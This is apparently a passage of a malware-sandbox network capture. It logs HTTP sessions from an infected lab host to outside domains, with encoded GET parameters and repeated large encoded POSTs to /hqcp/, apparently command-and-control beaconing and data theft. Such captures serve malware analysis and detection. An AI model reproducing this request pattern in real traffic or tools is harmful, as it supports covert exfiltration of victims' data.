Jul 3, 2024 17:41:10.074006081 CEST	2578	OUT	Data Raw: 47 30 61 44 78 6e 36 62 74 62 34 57 65 4a 55 59 43 51 55 62 68 69 34 63 59 6d 64 6a 52 71 38 69 2b 38 2b 68 73 68 67 5a 67 6c 7a 34 6b 65 53 37 50 71 77 2b 6a 6f 42 65 77 37 57 48 36 69 4a 79 67 2f 6d 58 49 37 68 6a 56 37 57 32 66 69 50 65 56 37 Data Ascii: G0aDxn6btb4WeJUYCQUbhi4cYmdjRq8i+8+hshgZglz4keS7Pqw+joBew7WH6iJyg/mXI7hjV7W2fiPeV7omvet26syTxAQr5hHtmBsCrIKzrehCHkqsSdPehXkaD9UiUp54z9s0dZ9Hd52jpwcOmiNDxqynLFU0ITF9LSb58nJ5nNjVqXNIehg2TX/Wb+9HT7DxKAxs2hW53l641xqhqYoGAiwdnRNspf6qijI5f8C8wMFLiEv
Jul 3, 2024 17:41:10.074182034 CEST	5156	OUT	Data Raw: 7a 39 2b 31 67 2b 45 38 56 48 76 6c 67 34 7a 69 2b 72 62 6b 50 44 31 69 46 58 39 6b 41 62 44 2b 33 63 64 6c 4b 67 4f 50 4d 77 57 6e 49 48 56 53 4f 34 76 4c 32 44 6e 57 65 65 7a 56 45 71 59 52 36 4a 6c 48 53 43 44 52 73 50 45 57 62 58 2b 6e 67 67 Data Ascii: z9+1g+E8VHvlg4zi+rbkPD1iFX9kAbD+3cdlKgOPMwWnIHVSO4vL2DnWeezVEqYR6JlHSCDRsPEWbX+nggjdz7K7z0m942KVva+ictHkQEzhbm1CCAlebXUllQvLXSLhndxaisCew+V9yf/4YSPDuS3yjqi1A9sTKpC5zxraCdNK7hFSD8jQx7SOL5Jq2I2Iw1kZlttk38/P6x0TrGPJ867kl3q16Q9bKJjz8MzlcZh1Qs0g71L
Jul 3, 2024 17:41:10.074352026 CEST	5156	OUT	Data Raw: 57 79 33 42 72 45 4a 72 51 42 48 48 42 78 33 62 68 6c 73 2f 55 38 5a 78 6f 35 77 45 65 46 76 55 54 2f 4a 79 7a 4b 79 52 73 34 54 32 69 6b 54 30 44 2b 75 33 61 75 55 31 68 4a 68 6e 77 68 69 2f 30 6a 69 53 52 6b 75 73 37 47 76 30 44 49 4a 55 37 55 Data Ascii: Wy3BrEJrQBHHBx3bhls/U8Zxo5wEeFvUT/JyzKyRs4T2ikT0D+u3auU1hJhnwhi/0jiSRkus7Gv0DIJU7UepW0OCv/B4REpybeiAHAqcw4LVZkwCFCRNO6SK+Y1hJ28gGWpyK6loqedHJir1D5rEYJZd8QET5Nxv5p7q7MI8lfJPzfDcmSMPtv97KTzFVN+JmbhIN9N1f+Nw5P+sa5hethqMmTr8vJST8O48FqPUdcshzVk6+q6
Jul 3, 2024 17:41:10.074527979 CEST	10312	OUT	Data Raw: 59 4b 68 2b 51 43 4a 41 4a 78 36 71 42 55 33 50 57 6c 6d 70 76 58 62 71 69 2f 41 69 66 66 69 70 77 52 62 58 41 38 71 30 37 6e 50 42 74 52 30 57 4c 33 48 69 64 6c 71 75 6d 45 7a 52 6a 7a 39 4d 51 68 58 33 37 79 65 73 52 52 51 7a 75 6e 5a 4e 46 51 Data Ascii: YKh+QCJAJx6qBU3PWlmpvXbqi/AiffipwRbXA8q07nPBtR0WL3HidlqumEzRjz9MQhX37yesRRQzunZNFQDHTi9dIYnJxYdqGN+MRqkzegCNVRuWjJAdKiavO4sfkbNQAJ9pzmqFUTlSY6E/pOp8dP7/anmm19utjC+IvlyMSm1YRdZNzwx8I893c7kBD4pObSXHzytRV9knX84dGyrdLARu2P5hE6nRbdd4doaOkSmGto7Zrav
Jul 3, 2024 17:41:10.193130970 CEST	1289	OUT	Data Raw: 43 62 78 68 61 65 6f 75 34 2b 48 6e 64 2b 54 36 4e 6c 6f 4a 55 2b 37 77 46 62 35 70 6e 56 73 75 64 41 54 75 56 64 50 32 52 2f 41 51 6f 76 58 32 6c 59 59 4c 45 4e 79 52 36 64 51 76 34 30 77 41 4c 70 50 77 73 65 6b 56 6a 76 37 6b 33 4f 51 6c 77 39 Data Ascii: Cbxhaeou4+Hnd+T6NloJU+7wFb5pnVsudATuVdP2R/AQovX2lYYLENyR6dQv40wALpPwsekVjv7k3OQlw9Yd70i6OBsV2Rd13H14oGsXZBOet2dj+4RSJMJj4MUPJYu3n6/+2mTR/nmcZhk75d5l9rxqGTDJBiUYLXLNV8uOrk5lgirjSGkcnoX0wyj4D/zmB3jhAQbofmOyq+mrMrLB8SwO9T2kFalH+CBn412SIhgcqab1ydG
Jul 3, 2024 17:41:10.193180084 CEST	3867	OUT	Data Raw: 4e 32 47 59 33 55 77 69 64 34 42 67 39 47 56 41 6f 61 73 76 64 59 75 71 75 33 4f 79 48 73 54 47 69 54 64 38 6e 56 4c 39 61 74 70 49 6e 61 34 45 43 35 77 53 45 77 67 79 62 56 77 51 50 2f 4b 67 32 4e 70 79 42 45 39 79 77 74 6f 6b 5a 49 32 35 50 6d Data Ascii: N2GY3Uwid4Bg9GVAoasvdYuqu3OyHsTGiTd8nVL9atpIna4EC5wSEwgybVwQP/Kg2NpyBE9ywtokZI25PmttfSII4IYevqAiDIGI3IbqrBCrAqsW6UkhUQvSfi0i/rDljYPgrrYvCcrl2cZeQzRN4334+D5u/lyhthZdjM7GTp4ryLRjYPmD/8KkBK5CAtH13+Dkr/VFd5YgQ7+EyJyTuC9wTdrcT0c06O39Dj4cg0BhTp9A2he
Jul 3, 2024 17:41:10.193227053 CEST	1289	OUT	Data Raw: 4e 62 5a 31 59 55 55 2b 7a 6a 48 4c 65 72 4a 50 65 5a 4c 4e 70 36 54 34 6f 6a 6a 2f 6c 37 2b 44 6b 35 41 43 57 5a 79 53 50 39 79 62 46 64 71 62 4e 45 73 44 2b 4e 48 48 71 6a 79 51 4f 71 38 7a 4f 4a 43 63 71 2f 75 75 57 4d 41 54 4f 35 66 7a 34 6a Data Ascii: NbZ1YUU+zjHLerJPeZLNp6T4ojj/l7+Dk5ACWZySP9ybFdqbNEsD+NHHqjyQOq8zOJCcq/uuWMATO5fz4jiRGEF7kapvyKI23a8IAUP1Pm0v+y2X3D6ZmfGOPPSEytpAsTwZjMouM2kRRki78ZhGBNAqW6kgQ630vRrO6JJfNF1fdAjWU0fxPN1CRI/f/0VGcGZxwIbjQnakljAek7K4vX6IyTd1t0Bse0qHWH6vHN+BIIZIc0a

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.20	49823	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:12.622332096 CEST	522	OUT	GET /tq5r/?vX=2ahlOPqFbaLRJ59RJMyuJ7IfIQg9pPTz0C4c2znY6LEO/TCdmpUdsfBsLge4LzAAnPKkz9TLh65OzxMJqcN49ZYZ04DS6e4TLs38paEuEBs4iPeVqFZufcc=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.selllaptop.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:41:12.766969919 CEST	397	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 03 Jul 2024 15:41:12 GMT Content-Type: text/html Content-Length: 257 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 76 58 3d 32 61 68 6c 4f 50 71 46 62 61 4c 52 4a 35 39 52 4a 4d 79 75 4a 37 49 66 49 51 67 39 70 50 54 7a 30 43 34 63 32 7a 6e 59 36 4c 45 4f 2f 54 43 64 6d 70 55 64 73 66 42 73 4c 67 65 34 4c 7a 41 41 6e 50 4b 6b 7a 39 54 4c 68 36 35 4f 7a 78 4d 4a 71 63 4e 34 39 5a 59 5a 30 34 44 53 36 65 34 54 4c 73 33 38 70 61 45 75 45 42 73 34 69 50 65 56 71 46 5a 75 66 63 63 3d 26 5f 42 37 3d 4c 78 79 78 57 72 6a 38 6b 72 69 30 67 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?vX=2ahlOPqFbaLRJ59RJMyuJ7IfIQg9pPTz0C4c2znY6LEO/TCdmpUdsfBsLge4LzAAnPKkz9TLh65OzxMJqcN49ZYZ04DS6e4TLs38paEuEBs4iPeVqFZufcc=&_B7=LxyxWrj8kri0gh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.20	49824	74.208.236.38	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:21.068289042 CEST	520	OUT	GET /9m56/?_B7=LxyxWrj8kri0gh&vX=wSNNrhltoDErcnEzxm9/w28Dp1eoX3XTDY+0HSDY/xjQqFM+lgiwoO0LpiVzuA8Bz+prc1fM5Kq2+VzXMkRPAHQ+fn8FfBllirngXHZ4XxgzDhA7JZPwDGY= HTTP/1.1 Host: www.costmoon.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:41:21.202608109 CEST	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Wed, 03 Jul 2024 15:41:21 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.20	49825	142.202.6.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:26.425379038 CEST	788	OUT	POST /hqcp/ HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.6171nvuhb.rent Referer: http://www.6171nvuhb.rent/hqcp/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 53 33 4c 58 75 4e 6a 30 32 38 72 30 69 38 76 63 2f 42 30 2f 79 43 66 34 47 66 46 73 45 4b 75 31 79 79 61 67 34 34 53 56 67 46 2b 62 32 41 2f 70 59 79 6b 4f 77 66 4c 77 61 70 4b 4c 36 37 76 6c 72 62 44 72 58 6b 62 6b 45 78 37 41 32 61 56 41 66 6d 4e 62 6d 45 6b 37 52 78 31 38 34 74 68 6e 2b 79 2b 5a 6b 42 50 6d 4d 6d 57 6b 4b 6f 72 6b 45 73 66 42 2b 49 76 74 51 6b 74 6c 79 50 4f 4c 32 7a 55 39 52 74 44 30 38 56 42 6f 68 5a 69 41 70 62 4c 76 46 54 49 4b 59 59 2b 67 4b 62 31 58 53 61 66 54 6b 32 65 6c 50 49 45 4c 67 45 4a 4b 46 76 2f 31 58 41 3d 3d Data Ascii: vX=X5xwEotSV/RSS3LXuNj028r0i8vc/B0/yCf4GfFsEKu1yyag44SVgF+b2A/pYykOwfLwapKL67vlrbDrXkbkEx7A2aVAfmNbmEk7Rx184thn+y+ZkBPmMmWkKorkEsfB+IvtQktlyPOL2zU9RtD08VBohZiApbLvFTIKYY+gKb1XSafTk2elPIELgEJKFv/1XA==
Jul 3, 2024 17:41:27.581568956 CEST	715	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 31 66 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 53 dd 6f da 30 10 7f e7 af f0 fc 14 24 e2 7c 92 84 02 9d 80 81 d4 0e 51 4d a5 7d a1 11 72 1c a7 09 25 09 b2 9d 35 5b cb ff be cb c2 36 b4 ee b9 5a a4 cb f9 ce 77 f7 3b df c7 48 32 91 1d 14 62 29 15 92 ab 31 be 5b 2f f4 00 a3 2c 1e e3 e5 64 3b bb 59 2e e7 b3 35 46 52 b0 31 36 0c 19 3f 91 be 45 f6 d4 d8 49 1d 04 fd 20 4a 92 67 05 d9 49 7c 39 32 da 60 97 9d d1 e9 b0 9c 90 ac c8 94 f6 92 c5 17 d8 b9 9a ca fb 5b 61 d7 37 93 d9 d5 fd f5 1d ee b1 a7 7f 68 8f dd b7 71 3a 5f a9 40 db 34 57 68 dc b2 d7 57 b4 09 87 1d 2d a9 0a a6 b2 b2 d0 ba e8 a5 83 50 63 96 e6 60 14 97 ac ca 79 a1 08 13 9c 2a 3e df f3 46 d2 70 9b 17 ee 0e c1 38 cd 09 bc 0a 8c 71 aa d4 41 5e 18 06 68 22 9a c5 15 61 65 de 08 3b f9 31 30 4d c6 12 db 77 99 43 fb 03 87 3a 5e df e1 1e 65 51 12 c1 8d cf 70 13 a9 81 95 e7 a8 8f 5c 9d 20 e5 f4 db 9a 3e ae 68 ce ff 80 6f cc 70 88 c0 4d 92 03 15 90 d6 aa 8c 39 d4 49 72 a1 a6 3c 29 05 d7 d2 bc 87 24 24 79 ec 6a f0 3f ab c7 07 5d b7 74 fd 77 81 df a3 6d 9f [TRUNCATED] Data Ascii: 1f2So0$\|QM}r%5[6Zw;H2b)1[/,d;Y.5FR16?EI JgI\|92`[a7hq:_@4WhW-Pc`y*>Fp8qA^h"ae;10MwC:^eQp\ >hopM9Ir<)$$yj?]twm^zXymoW"6\|q.aqPs~JRJS8%aaIUf5k\|6f@ z}jl@]i{s[".7i0`Hq!\|(Y7B0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	49826	142.202.6.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:29.155994892 CEST	1128	OUT	POST /hqcp/ HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.6171nvuhb.rent Referer: http://www.6171nvuhb.rent/hqcp/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 55 6e 37 58 74 71 50 30 6d 73 72 31 74 63 76 63 74 42 30 37 79 43 54 34 47 66 74 61 44 38 47 31 79 51 43 67 71 70 53 56 68 46 2b 62 2b 67 2f 73 63 79 6b 48 77 66 57 44 61 74 43 4c 36 2f 48 6c 71 75 58 72 47 45 62 6a 4d 52 37 48 78 61 56 42 4f 32 4e 52 6d 45 6f 6e 52 30 56 38 34 62 56 6e 35 33 69 5a 67 51 50 6e 4c 47 57 69 64 59 72 6c 66 63 66 31 2b 49 53 59 51 67 68 66 79 39 53 4c 31 58 59 39 53 74 44 7a 32 6c 41 67 70 35 6a 57 34 36 32 68 49 69 59 70 65 6f 32 2b 54 4b 4a 4a 52 71 6e 4e 71 77 61 57 65 4b 6b 53 6f 58 55 61 51 65 54 34 43 77 30 43 65 6b 50 51 52 31 54 47 69 43 53 70 31 6a 46 32 41 56 6c 4b 44 2f 34 54 4f 64 4b 73 70 4c 54 67 74 4a 5a 55 73 7a 67 63 37 35 61 55 56 61 36 6f 4f 4d 6a 76 54 6c 43 52 4a 4f 36 6d 59 59 43 5a 37 50 75 47 6f 66 51 61 42 55 64 58 6a 35 78 56 70 4c 70 49 4e 56 4c 5a 6f 6e 62 58 65 4a 4a 63 55 5a 67 39 62 46 45 47 30 6c 55 68 6d 35 71 6f 59 6b 47 6f 34 75 44 45 54 67 6f 38 32 6e 71 64 4c 72 6a 48 69 4f 47 77 54 65 5a [TRUNCATED] Data Ascii: vX=X5xwEotSV/RSUn7XtqP0msr1tcvctB07yCT4GftaD8G1yQCgqpSVhF+b+g/scykHwfWDatCL6/HlquXrGEbjMR7HxaVBO2NRmEonR0V84bVn53iZgQPnLGWidYrlfcf1+ISYQghfy9SL1XY9StDz2lAgp5jW462hIiYpeo2+TKJJRqnNqwaWeKkSoXUaQeT4Cw0CekPQR1TGiCSp1jF2AVlKD/4TOdKspLTgtJZUszgc75aUVa6oOMjvTlCRJO6mYYCZ7PuGofQaBUdXj5xVpLpINVLZonbXeJJcUZg9bFEG0lUhm5qoYkGo4uDETgo82nqdLrjHiOGwTeZbqdAHT6UK0NhJqiQRy/xqbLZfbb4Kw+rSFCu1jHJvJv5GEQgm0HVdQiHnmQ+LIgopDfvBvjG9rbCWcAgynPR09MduvdjS8Txb0/VIkJnZW5l5iauu0CgPd0VSMF36X2ep1FVt8QNnkdnnSK0JFdb7OVByx+nZjjMFCjrj7sfjxflgAqLvl4J8ud5x5JLNnXHbwmM3Vvo=
Jul 3, 2024 17:41:30.329432011 CEST	715	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:41:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 31 66 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 53 dd 6f da 30 10 7f e7 af f0 fc 14 24 e2 7c 92 84 02 9d 80 81 d4 0e 51 4d a5 7d a1 11 72 1c a7 09 25 09 b2 9d 35 5b cb ff be cb c2 36 b4 ee b9 5a a4 cb f9 ce 77 f7 3b df c7 48 32 91 1d 14 62 29 15 92 ab 31 be 5b 2f f4 00 a3 2c 1e e3 e5 64 3b bb 59 2e e7 b3 35 46 52 b0 31 36 0c 19 3f 91 be 45 f6 d4 d8 49 1d 04 fd 20 4a 92 67 05 d9 49 7c 39 32 da 60 97 9d d1 e9 b0 9c 90 ac c8 94 f6 92 c5 17 d8 b9 9a ca fb 5b 61 d7 37 93 d9 d5 fd f5 1d ee b1 a7 7f 68 8f dd b7 71 3a 5f a9 40 db 34 57 68 dc b2 d7 57 b4 09 87 1d 2d a9 0a a6 b2 b2 d0 ba e8 a5 83 50 63 96 e6 60 14 97 ac ca 79 a1 08 13 9c 2a 3e df f3 46 d2 70 9b 17 ee 0e c1 38 cd 09 bc 0a 8c 71 aa d4 41 5e 18 06 68 22 9a c5 15 61 65 de 08 3b f9 31 30 4d c6 12 db 77 99 43 fb 03 87 3a 5e df e1 1e 65 51 12 c1 8d cf 70 13 a9 81 95 e7 a8 8f 5c 9d 20 e5 f4 db 9a 3e ae 68 ce ff 80 6f cc 70 88 c0 4d 92 03 15 90 d6 aa 8c 39 d4 49 72 a1 a6 3c 29 05 d7 d2 bc 87 24 24 79 ec 6a f0 3f ab c7 07 5d b7 74 fd 77 81 df a3 6d 9f [TRUNCATED] Data Ascii: 1f2So0$\|QM}r%5[6Zw;H2b)1[/,d;Y.5FR16?EI JgI\|92`[a7hq:_@4WhW-Pc`y*>Fp8qA^h"ae;10MwC:^eQp\ >hopM9Ir<)$$yj?]twm^zXymoW"6\|q.aqPs~JRJS8%aaIUf5k\|6f@ z}jl@]i{s[".7i0`Hq!\|(Y7B0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	49827	142.202.6.230	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:41:31.874810934 CEST	2578	OUT	POST /hqcp/ HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.6171nvuhb.rent Referer: http://www.6171nvuhb.rent/hqcp/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 55 6e 37 58 74 71 50 30 6d 73 72 31 74 63 76 63 74 42 30 37 79 43 54 34 47 66 74 61 44 38 4f 31 79 6a 4b 67 34 61 36 56 69 46 2b 62 77 41 2f 74 63 79 6c 46 77 66 4f 63 61 74 47 62 36 39 2f 6c 71 2f 48 72 47 57 6a 6a 4a 52 37 43 74 4b 56 50 66 6d 4e 46 6d 45 6b 4e 52 30 42 4b 34 72 4a 6e 2b 77 6d 5a 6c 6a 6e 6d 52 32 57 6b 64 59 72 68 4f 4d 66 58 2b 49 6d 49 51 67 6c 66 79 2b 32 4c 33 6c 51 39 42 75 62 7a 2f 56 41 76 6e 5a 6a 4e 69 4b 32 41 49 69 38 39 65 6f 32 75 54 4c 4e 4a 52 74 7a 4e 72 33 47 56 65 71 6b 53 6d 33 55 5a 42 4f 65 2f 43 77 34 61 65 6e 54 51 52 31 4c 47 6a 69 53 70 6c 58 5a 31 48 31 6c 4d 48 2f 34 36 59 74 33 41 70 4c 58 53 74 49 39 55 74 44 63 63 30 6f 61 55 47 4c 36 6f 41 4d 6a 74 4f 56 44 4c 43 75 36 41 59 5a 7a 6c 37 4d 6e 78 6f 59 49 61 41 32 56 58 6d 59 78 61 67 4c 70 4f 49 56 4c 4d 73 6e 48 54 65 4a 59 44 55 5a 67 58 62 42 55 47 7a 55 6b 68 33 4e 47 72 62 30 48 42 73 65 44 4b 61 41 73 71 32 6e 65 46 4c 6f 7a 70 69 50 53 77 51 2b 5a [TRUNCATED] Data Ascii: vX=X5xwEotSV/RSUn7XtqP0msr1tcvctB07yCT4GftaD8O1yjKg4a6ViF+bwA/tcylFwfOcatGb69/lq/HrGWjjJR7CtKVPfmNFmEkNR0BK4rJn+wmZljnmR2WkdYrhOMfX+ImIQglfy+2L3lQ9Bubz/VAvnZjNiK2AIi89eo2uTLNJRtzNr3GVeqkSm3UZBOe/Cw4aenTQR1LGjiSplXZ1H1lMH/46Yt3ApLXStI9UtDcc0oaUGL6oAMjtOVDLCu6AYZzl7MnxoYIaA2VXmYxagLpOIVLMsnHTeJYDUZgXbBUGzUkh3NGrb0HBseDKaAsq2neFLozpiPSwQ+Zbu+oAZKUNo9hb3SRHy/8FbPIkavwKi+bSTyu2yXJrCP5AAQgm0HRjQiLnmlaLG3EpGI7BjDG/rbCLcAtCnPZr9MMDvY7S8GVbkq4e0JncUJk79Kz40DMHdwwpP3j6W2Opj1Vi3gNgjdm+DaoFFdGOOV1ix+PZvV1JaAm6v+T11e9lGJTki6xjtLt8ytjJvFb20mwJAZLCj+D29IuqglmIHNpLMiEebe4Dqp+O/IiXVUlBX+jaEUXTDCwQCxoO5RdqgYedSNjx288kTRHF1zoRfxaglzcZTCf1OlJ0YGQbXgTI6FB/FnOkRf6w1cZ7hGJ3ht1jWnRzhBWLtx+NPRy+owDpGkyR7XCoVlNmXDez81U/JmNPYQCQNkcKV0UoZdOvV/Q5KRxtPbWFtamEDvkM4NH1fTwYgjfzBsNnOVSqqevioRiPfZr0RO8aagkSowbhenGyMla+Jz+yME7MEYK/2LbxsuPHpybQWTGI2jm/DL8Gtl+bT1tbaS9BDZ9+RbbOe8AN6K/7pplL6vM1/rQz0a2VbYl07bz6OXsVhyf+abAoGhry7jiBDXG2aAz6HMGzow+6jY4/CNVhTnxsp91yfZDlYIqigH30SauR3QkTdfocegPgqcDMlsw5/Dc6Iwp6pbQ7pJYR8x9YQWoUOcElnYTvUpHvgCae9 [TRUNCATED]
Jul 3, 2024 17:41:31.874834061 CEST	5156	OUT	Data Raw: 39 73 36 6f 54 38 74 76 4c 54 63 46 68 69 4f 30 7a 6b 47 4f 56 66 76 59 36 6b 39 4e 4e 46 68 61 34 67 4e 42 5a 69 54 42 6c 33 59 67 79 48 72 77 2f 39 50 6c 31 32 55 48 77 43 57 34 57 67 4b 77 71 65 76 79 52 66 75 78 52 43 79 32 54 33 32 44 52 32 Data Ascii: 9s6oT8tvLTcFhiO0zkGOVfvY6k9NNFha4gNBZiTBl3YgyHrw/9Pl12UHwCW4WgKwqevyRfuxRCy2T32DR237Y4aR3IY1eNgidGMXiXfTSoypK45OyIOUkhm7F0V8/kDytJEh2Chna54ivrhdmvYih2l4WMMWIsHlE0SY9EyEr7SfJ+8mCUjub0rey85mAoLy6JVXLuzm15h/2GJA5tD0jMjCRow6a8z8zKmXcOiitqzR845RJy9
Jul 3, 2024 17:41:31.874917030 CEST	5156	OUT	Data Raw: 47 63 33 43 34 45 4b 34 65 41 70 6d 33 55 2f 6e 53 48 57 4e 46 41 63 54 75 66 47 39 65 32 6a 62 57 6b 77 6e 56 36 36 51 64 53 4c 66 41 46 4c 5a 33 54 77 61 59 4d 6a 44 57 49 69 52 30 46 38 68 64 75 35 50 68 54 5a 58 75 37 46 32 63 75 69 55 6f 47 Data Ascii: Gc3C4EK4eApm3U/nSHWNFAcTufG9e2jbWkwnV66QdSLfAFLZ3TwaYMjDWIiR0F8hdu5PhTZXu7F2cuiUoGIvZmdYe+SPrvJtUcAg8ozHc5liuOmgk+yuG2tIAxCk4alNA2CQOOtp+T2S0hxjASarkDs2E0PsxClcnUbxS90R1QTOrA7GnN6IjTZE+RUppJ+IJYq8wxbpzXE7DSMMPCA+usYDcGkS+A9sv5LJ+eb/OWmxrnH1dG3
Jul 3, 2024 17:41:32.043472052 CEST	2578	OUT	Data Raw: 4b 4d 6b 70 58 2b 4a 57 72 30 68 52 4b 53 6e 72 72 6a 4a 48 72 30 68 72 6f 4e 4e 78 36 7a 78 4f 6f 74 2f 65 50 49 46 30 44 56 78 6a 6f 54 31 71 4b 58 61 56 32 36 44 47 7a 59 78 43 34 55 61 54 4d 35 32 77 64 2f 58 55 50 73 71 38 59 34 38 31 64 4f Data Ascii: KMkpX+JWr0hRKSnrrjJHr0hroNNx6zxOot/ePIF0DVxjoT1qKXaV26DGzYxC4UaTM52wd/XUPsq8Y481dOPbbfIG/OCrhj14ZbAcXtPTqMIDu16x+5pyZedwzrZml+7JzNgJSbtwbK5quIfJ1NMA9NT1VxvQP6l5v0M/C/0uZBJyPpBQ4y08WCWqGNsCgsZ/mAVBjVspMAwMZYlQ8MGc76cJ6PwwF/Iyn5vKLpWgBpiN9IZ9xry
